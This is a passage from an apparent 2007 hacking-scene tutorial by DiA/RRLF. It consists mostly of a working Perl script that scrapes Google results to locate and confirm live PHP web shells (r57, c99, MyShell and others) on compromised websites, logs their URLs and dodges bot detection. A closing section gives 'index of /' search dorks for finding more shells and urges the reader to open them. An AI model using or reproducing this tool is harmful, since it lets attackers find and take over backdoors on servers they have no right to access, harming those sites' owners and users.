", $gResource->content);
if(@gContent < 10) { $isLastPage = 1; };
for(my $gPiece = 1; $gPiece < @gContent; $gPiece++) {
my $shellLink = substr($gContent[$gPiece], index($gContent[$gPiece], "href=\"") + 6);
$shellLink = substr($shellLink, 0, index($shellLink, "\""));
print "[*] Check status of site \"$shellLink\"\n" if($outputOn == 1);
my $sRequest = HTTP::Request->new(GET => $shellLink);
my $sResource = $userAgent->request($sRequest);
if($sResource->is_success) {
if(index($sResource->content, $checkTerm[0]) != -1 && index($sResource->content, $checkTerm[1]) != -1) {
open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "Link:
$shellLink\n";
print FILEHANDLE "Search Term:
$_\n";
close FILEHANDLE;
print "[+] Found shell: $shellLink\n" if($outputOn == 1);
} else {
print "[-] No shell\n" if($outputOn == 1);
}
} else {
print "[-] Offline\n" if($outputOn == 1);
}
}
sleep 20; #wait 20 seconds so google dont think we are a bot
} else {
print "Unable to query google\n" and die;
}
}
}
open(FILEHANDLE, ">>$outputFile");
print FILEHANDLE "
Find PHP Shells via Google - by DiA/RRLF";
close FILEHANDLE;
sub usage {
print qq(
Find PHP Shells via Google - by DiA/RRLF (http://www.vx-dia.de.vu)
Usage: perl $0 [shell to find] [screen output] [output HTML file]
[shell to find] can be:
r57 - find r57shell
c99 - find c99shell
mys - find MyShell
phs - find PHP Shell
phm - find PHPShell (Macker)
rem - find phpRemoteView
[screen output] can be:
on - every step the script doas get printed on the screen
off - no output, the script just writes to the output file
[output HTML file] must be:
*.htm or *.html
Example: perl $0 c99 on c99shells.htm
perl $0 mys off manyshells.htm
) and exit;
}
---code end---
.5_Additional search, "index of /"
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
OK, this one you can try at home. It's like the "inurl:" way, we search for filenames.
But for this time we search in directory index's. So, give google this querys for
example:
"index of /" c99.php
or
"index of /" r57.php
Click on the found links, and you will reach directorys where the "index.htm/html/php"
is missing, but directory listing is enabled. Click on "c99.php" for example and see
what happen ;). This also works for any kind of stuff, pr0n, mp3, even movies.
.6_Outro
»»»»»»»
Nothing more to say, but thanks to google. Powerful search engine, wich can track down
the stupidness and lazyness of admin's and wannabe's. Have fun googling, good night!
DiA/RRLF - 09.08.2007